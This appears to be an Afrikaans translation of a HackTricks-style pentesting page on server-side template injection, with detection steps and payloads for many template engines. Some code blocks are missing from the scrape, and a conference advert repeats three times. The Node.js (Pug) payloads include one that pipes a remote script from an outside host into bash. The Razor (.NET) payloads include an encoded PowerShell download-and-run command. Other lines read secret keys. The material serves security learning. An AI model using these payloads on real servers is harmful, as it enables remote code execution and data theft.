SSTI (Server Side Template Injection)
RootedCON is die mees relevante kuberveiligheid gebeurtenis in Spanje en een van die belangrikste in Europa. Met die missie om tegniese kennis te bevorder, is hierdie kongres 'n bruisende ontmoetingspunt vir tegnologie en kuberveiligheid professionele in elke dissipline.
Wat is SSTI (Server-Side Template Injection)
Server-side template injection is 'n kwesbaarheid wat voorkom wanneer 'n aanvaller kwaadwillige kode in 'n sjabloon kan inspuit wat op die bediener uitgevoer word. Hierdie kwesbaarheid kan in verskeie tegnologieë gevind word, insluitend Jinja.
Jinja is 'n gewilde sjabloon enjin wat in webtoepassings gebruik word. Kom ons oorweeg 'n voorbeeld wat 'n kwesbare kode-snippet met Jinja demonstreer:
In hierdie kwesbare kode word die name
parameter van die gebruiker se versoek direk in die sjabloon deur die render
funksie oorgedra. Dit kan potensieel 'n aanvaller toelaat om kwaadwillige kode in die name
parameter in te spuit, wat lei tot server-side template injection.
Byvoorbeeld, 'n aanvaller kan 'n versoek saamstel met 'n payload soos hierdie:
Die payload {{bad-stuff-here}}
word in die name
parameter ingespuit. Hierdie payload kan Jinja-sjabloonriglyne bevat wat die aanvaller in staat stel om ongeoorloofde kode uit te voer of die sjabloon-enjin te manipuleer, wat moontlik beheer oor die bediener kan verkry.
Om bediener-kant sjabloon-inspuitingskwulnerabiliteite te voorkom, moet ontwikkelaars verseker dat gebruikersinvoer behoorlik gesuiwer en gevalideer word voordat dit in sjablone ingevoeg word. Die implementering van invoervalidasie en die gebruik van konteksbewuste ontsnappingstegnieke kan help om die risiko van hierdie kwesbaarheid te verminder.
Detectie
Om Server-Side Template Injection (SSTI) te detecteer, is dit aanvanklik fuzzing the template 'n eenvoudige benadering. Dit behels die inspuiting van 'n reeks spesiale karakters (${{<%[%'"}}%\
) in die sjabloon en die analise van die verskille in die bediener se reaksie op gewone data teenoor hierdie spesiale payload. Kwulnerabiliteitsaanwysers sluit in:
Gegooi foute, wat die kwesbaarheid en moontlik die sjabloon-enjin onthul.
Afwesigheid van die payload in die refleksie, of dele daarvan wat ontbreek, wat impliseer dat die bediener dit anders verwerk as gewone data.
Plaintext Context: Onderskei van XSS deur te kyk of die bediener sjabloonuitdrukkings evalueer (bv.
{{7*7}}
,${7*7}
).Code Context: Bevestig kwesbaarheid deur invoerparameters te verander. Byvoorbeeld, om
greeting
inhttp://vulnerable-website.com/?greeting=data.username
te verander om te sien of die bediener se uitvoer dinamies of vas is, soos ingreeting=data.username}}hello
wat die gebruikersnaam teruggee.
Identifikasiefase
Die identifisering van die sjabloon-enjin behels die analise van foutboodskappe of die handmatige toetsing van verskeie taalspesifieke payloads. Algemene payloads wat foute veroorsaak, sluit ${7/0}
, {{7/0}}
, en <%= 7/0 %>
in. Om die bediener se reaksie op wiskundige operasies te observeer, help om die spesifieke sjabloon-enjin te bepaal.
Gereedskap
'n Doeltreffende SSTI + CSTI skandeerder wat nuwerwets polyglots gebruik.
'n Interaktiewe tabel wat die mees doeltreffende template-inspuitings-polyglotte bevat, saam met die verwagte antwoorde van die 44 belangrikste template-enjins.
Exploits
Generies
In hierdie woordlys kan jy veranderlikes gedefinieer in die omgewings van sommige van die enjin hieronder vind:
Java
Java - Basiese inspuiting
Java - Verkry die stelsels se omgewing veranderlikes
Java - Verkry /etc/passwd
FreeMarker (Java)
Jy kan jou payloads probeer by https://try.freemarker.apache.org
{{7*7}} = {{7*7}}
${7*7} = 49
#{7*7} = 49 -- (legacy)
${7*'7'} Niks
${foobar}
Freemarker - Sandbox omseiling
⚠️ werk slegs op Freemarker weergawes onder 2.3.30
Meer inligting
In die FreeMarker afdeling van https://portswigger.net/research/server-side-template-injection
Velocity (Java)
Meer inligting
In die Velocity afdeling van https://portswigger.net/research/server-side-template-injection
Thymeleaf
In Thymeleaf is 'n algemene toets vir SSTI kwesbaarhede die uitdrukking ${7*7}
, wat ook op hierdie sjabloon enjin van toepassing is. Vir potensiële afstandkode-uitvoering kan uitdrukkings soos die volgende gebruik word:
SpringEL:
OGNL:
Thymeleaf vereis dat hierdie uitdrukkings binne spesifieke eienskappe geplaas word. egter, uitdrukking inlyn word ondersteun vir ander sjabloon plekke, met sintaksis soos [[...]]
of [(...)]
. Dus, 'n eenvoudige SSTI toets payload kan lyk soos [[${7*7}]]
.
Die waarskynlikheid dat hierdie payload werk, is egter oor die algemeen laag. Thymeleaf se standaardkonfigurasie ondersteun nie dinamiese sjabloon generasie nie; sjablone moet vooraf gedefinieer wees. Ontwikkelaars sal hul eie TemplateResolver
moet implementeer om sjablone van stringe op die vlieg te skep, wat ongewoon is.
Thymeleaf bied ook uitdrukking voorverwerking aan, waar uitdrukkings binne dubbele onderstrepings (__...__
) voorverwerk word. Hierdie kenmerk kan benut word in die konstruksie van uitdrukkings, soos gedemonstreer in Thymeleaf se dokumentasie:
Voorbeeld van Kwetsbaarheid in Thymeleaf
Overweeg die volgende kode-snippet, wat kwesbaar kan wees vir uitbuiting:
Dit dui aan dat as die sjabloon enjin hierdie insette verkeerd verwerk, dit mag lei tot afstandkode-uitvoering wat toegang tot URL's soos:
Meer inligting
Spring Framework (Java)
Om filters te omseil
Meervoudige veranderlike-uitdrukkings kan gebruik word, as ${...}
nie werk nie, probeer #{...}
, *{...}
, @{...}
of ~{...}
.
Lees
/etc/passwd
Pasgemaakte Skrip vir payload-generasie
Meer Inligting
Spring Uitsig Manipulasie (Java)
Pebble (Java)
{{ someString.toUPPERCASE() }}
Ou weergawe van Pebble ( < weergawe 3.0.9):
Nuwe weergawe van Pebble :
Jinjava (Java)
Jinjava is 'n oopbronprojek ontwikkel deur Hubspot, beskikbaar by https://github.com/HubSpot/jinjava/
Jinjava - Opdrag uitvoering
Gerepareer deur https://github.com/HubSpot/jinjava/pull/230
Meer inligting
Hubspot - HuBL (Java)
{% %}
verklaring afdelings{{ }}
uitdrukking afdelings{# #}
kommentaar afdelings{{ request }}
- com.hubspot.content.hubl.context.TemplateContextRequest@23548206{{'a'.toUpperCase()}}
- "A"{{'a'.concat('b')}}
- "ab"{{'a'.getClass()}}
- java.lang.String{{request.getClass()}}
- klas com.hubspot.content.hubl.context.TemplateContextRequest{{request.getClass().getDeclaredMethods()[0]}}
- public boolean com.hubspot.content.hubl.context.TemplateContextRequest.isDebug()
Soek vir "com.hubspot.content.hubl.context.TemplateContextRequest" en ontdek die Jinjava projek op Github.
Meer inligting
Uitdrukkingstaal - EL (Java)
${"aaaa"}
- "aaaa"${99999+1}
- 100000.#{7*7}
- 49${{7*7}}
- 49${{request}}, ${{session}}, {{faceContext}}
Uitdrukkingstaal (EL) is 'n fundamentele kenmerk wat interaksie tussen die aanbiedingslaag (soos webbladsye) en die toepassingslogika (soos bestuurde bone) in JavaEE fasiliteer. Dit word wyd gebruik oor verskeie JavaEE-tegnologieë om hierdie kommunikasie te stroomlyn. Die sleutel JavaEE-tegnologieë wat EL benut, sluit in:
JavaServer Faces (JSF): Gebruik EL om komponente in JSF-bladsye aan die ooreenstemmende agtergronddata en aksies te bind.
JavaServer Pages (JSP): EL word in JSP gebruik om toegang te verkry tot en data binne JSP-bladsye te manipuleer, wat dit makliker maak om bladsy-elemente aan die toepassingsdata te koppel.
Contexts and Dependency Injection for Java EE (CDI): EL integreer met CDI om naatlose interaksie tussen die weblaag en bestuurde bone te fasiliteer, wat 'n meer samehangende toepassingsstruktuur verseker.
Kyk na die volgende bladsy om meer te leer oor die uitbuiting van EL-interpretators:
EL - Expression LanguageGroovy (Java)
Die volgende Sekuriteitsbestuurder omseilings is geneem uit hierdie skrywe.
RootedCON is die mees relevante kuberveiligheid gebeurtenis in Spanje en een van die belangrikste in Europa. Met die missie om tegniese kennis te bevorder, is hierdie kongres 'n bruisende ontmoetingspunt vir tegnologie en kuberveiligheid professionele in elke dissipline.
Smarty (PHP)
Meer inligting
In Smarty afdeling van https://portswigger.net/research/server-side-template-injection
Twig (PHP)
{{7*7}} = 49
${7*7} = ${7*7}
{{7*'7'}} = 49
{{1/0}} = Error
{{foobar}} Niks
Twig - Sjabloonformaat
Meer inligting
In die Twig en Twig (Sandboxed) afdeling van https://portswigger.net/research/server-side-template-injection
Plates (PHP)
Plates is 'n templating engine wat inheems aan PHP is, wat inspirasie uit Twig put. Dit is egter anders as Twig, wat 'n nuwe sintaksis bekendstel, gebruik Plates inheemse PHP-kode in templates, wat dit intuïtief maak vir PHP-ontwikkelaars.
Controller:
Bladsy sjabloon:
Layout sjabloon:
Meer inligting
PHPlib en HTML_Template_PHPLIB (PHP)
HTML_Template_PHPLIB is dieselfde as PHPlib, maar na Pear oorgedra.
authors.tpl
authors.php
Meer inligting
Jade (NodeJS)
Meer inligting
In die Jade afdeling van https://portswigger.net/research/server-side-template-injection
patTemplate (PHP)
patTemplate nie-kompilerende PHP templating engine, wat XML-tags gebruik om 'n dokument in verskillende dele te verdeel
Meer inligting
Handlebars (NodeJS)
Pad Traversering (meer inligting hier).
= Fout
${7*7} = ${7*7}
Niks
Meer inligting
JsRender (NodeJS)
Sjabloon | Beskrywing |
Evalueer en render uitvoer | |
Evalueer en render HTML-gecodeerde uitvoer | |
Kommentaar | |
en | Laat kode toe (standaard gedeaktiveer) |
= 49
Kliëntkant
Bediener Kante
Meer inligting
PugJs (NodeJS)
#{7*7} = 49
#{function(){localLoad=global.process.mainModule.constructor._load;sh=localLoad("child_process").exec('touch /tmp/pwned.txt')}()}
#{function(){localLoad=global.process.mainModule.constructor._load;sh=localLoad("child_process").exec('curl 10.10.14.3:8001/s.sh | bash')}()}
Voorbeeld bediener kant weergawe
Meer inligting
NUNJUCKS (NodeJS)
{{7*7}} = 49
{{foo}} = Geen uitvoer
#{7*7} = #{7*7}
{{console.log(1)}} = Fout
Meer inligting
ERB (Ruby)
{{7*7}} = {{7*7}}
${7*7} = ${7*7}
<%= 7*7 %> = 49
<%= foobar %> = Fout
Meer inligting
Slim (Ruby)
{ 7 * 7 }
Meer inligting
Python
Kyk na die volgende bladsy om truuks te leer oor arbitrary command execution wat sandboxes omseil in python:
Bypass Python sandboxesTornado (Python)
{{7*7}} = 49
${7*7} = ${7*7}
{{foobar}} = Error
{{7*'7'}} = 7777777
Meer inligting
Jinja2 (Python)
Jinja2 is 'n volwaardige sjabloon enjin vir Python. Dit het volle unicode ondersteuning, 'n opsionele geïntegreerde sandboxed uitvoeringsomgewing, word wyd gebruik en is BSD gelisensieer.
{{7*7}} = Fout
${7*7} = ${7*7}
{{foobar}} Niks
{{4*4}}[[5*5]]
{{7*'7'}} = 7777777
{{config}}
{{config.items()}}
{{settings.SECRET_KEY}}
{{settings}}
<div data-gb-custom-block data-tag="debug"></div>
Jinja2 - Sjabloonformaat
RCE nie afhanklik van __builtins__
:
Meer besonderhede oor hoe om Jinja te misbruik:
Jinja2 SSTIAnder payloads in https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Server%20Side%20Template%20Injection#jinja2
Mako (Python)
Meer inligting
Razor (.Net)
@(2+2) <= Sukses
@() <= Sukses
@("{{code}}") <= Sukses
@ <=Sukses
@{} <= FOUT!
@{ <= FOUT!
@(1+2)
@( //C#Code )
@System.Diagnostics.Process.Start("cmd.exe","/c echo RCE > C:/Windows/Tasks/test.txt");
@System.Diagnostics.Process.Start("cmd.exe","/c powershell.exe -enc IABpAHcAcgAgAC0AdQByAGkAIABoAHQAdABwADoALwAvADEAOQAyAC4AMQA2ADgALgAyAC4AMQAxADEALwB0AGUAcwB0AG0AZQB0ADYANAAuAGUAeABlACAALQBPAHUAdABGAGkAbABlACAAQwA6AFwAVwBpAG4AZABvAHcAcwBcAFQAYQBzAGsAcwBcAHQAZQBzAHQAbQBlAHQANgA0AC4AZQB4AGUAOwAgAEMAOgBcAFcAaQBuAGQAbwB3AHMAXABUAGEAcwBrAHMAXAB0AGUAcwB0AG0AZQB0ADYANAAuAGUAeABlAA==");
Die .NET System.Diagnostics.Process.Start
metode kan gebruik word om enige proses op die bediener te begin en dus 'n webshell te skep. Jy kan 'n kwesbare webapp voorbeeld vind in https://github.com/cnotin/RazorVulnerableApp
Meer inligting
ASP
<%= 7*7 %>
= 49<%= "foo" %>
= foo<%= foo %>
= Niks<%= response.write(date()) %>
= <Datum>
Meer Inligting
Mojolicious (Perl)
Alhoewel dit perl is, gebruik dit etikette soos ERB in Ruby.
<%= 7*7 %> = 49
<%= foobar %> = Error
SSTI in GO
In Go se sjabloon enjin kan bevestiging van sy gebruik gedoen word met spesifieke payloads:
{{ . }}
: Ontbloot die datastruktuur invoer. Byvoorbeeld, as 'n objek met 'nPassword
attribuut oorgedra word, kan{{ .Password }}
dit blootstel.{{printf "%s" "ssti" }}
: Verwag om die string "ssti" te vertoon.{{html "ssti"}}
,{{js "ssti"}}
: Hierdie payloads behoort "ssti" terug te gee sonder om "html" of "js" by te voeg. Verdere riglyne kan in die Go dokumentasie hier ondersoek word.
XSS Exploitation
Met die text/template
pakket kan XSS eenvoudig wees deur die payload direk in te voeg. In teenstelling hiermee, kodeer die html/template
pakket die antwoord om dit te voorkom (bv. {{"<script>alert(1)</script>"}}
lei tot <script>alert(1)</script>
). Nietemin kan sjabloon definisie en aanroep in Go hierdie kodering omseil: {{define "T1"}}alert(1){{end}} {{template "T1"}}
vbnet Copy code
RCE Exploitation
RCE uitbuiting verskil aansienlik tussen html/template
en text/template
. Die text/template
module laat toe om enige publieke funksie direk aan te roep (met die “call” waarde), wat nie toegelaat word in html/template
. Dokumentasie vir hierdie modules is beskikbaar hier vir html/template en hier vir text/template.
Vir RCE via SSTI in Go kan objekmetodes aangeroep word. Byvoorbeeld, as die verskafde objek 'n System
metode het wat opdragte uitvoer, kan dit soos {{ .System "ls" }}
uitgebuit word. Toegang tot die bronkode is gewoonlik nodig om dit uit te buit, soos in die gegewe voorbeeld:
Meer inligting
Meer Exploits
Kyk na die res van https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Server%20Side%20Template%20Injection vir meer exploits. Jy kan ook interessante etiket inligting vind in https://github.com/DiogoMRSilva/websitesVulnerableToSSTI
BlackHat PDF
Verwante Hulp
As jy dink dit kan nuttig wees, lees:
Gereedskap
Brute-Force Opsporing Lys
Oefening & Verwysings
RootedCON is die mees relevante kuberveiligheid gebeurtenis in Spanje en een van die belangrikste in Europa. Met die missie om tegniese kennis te bevorder, is hierdie kongres 'n kookpunt vir tegnologie en kuberveiligheid professionele in elke dissipline.
Last updated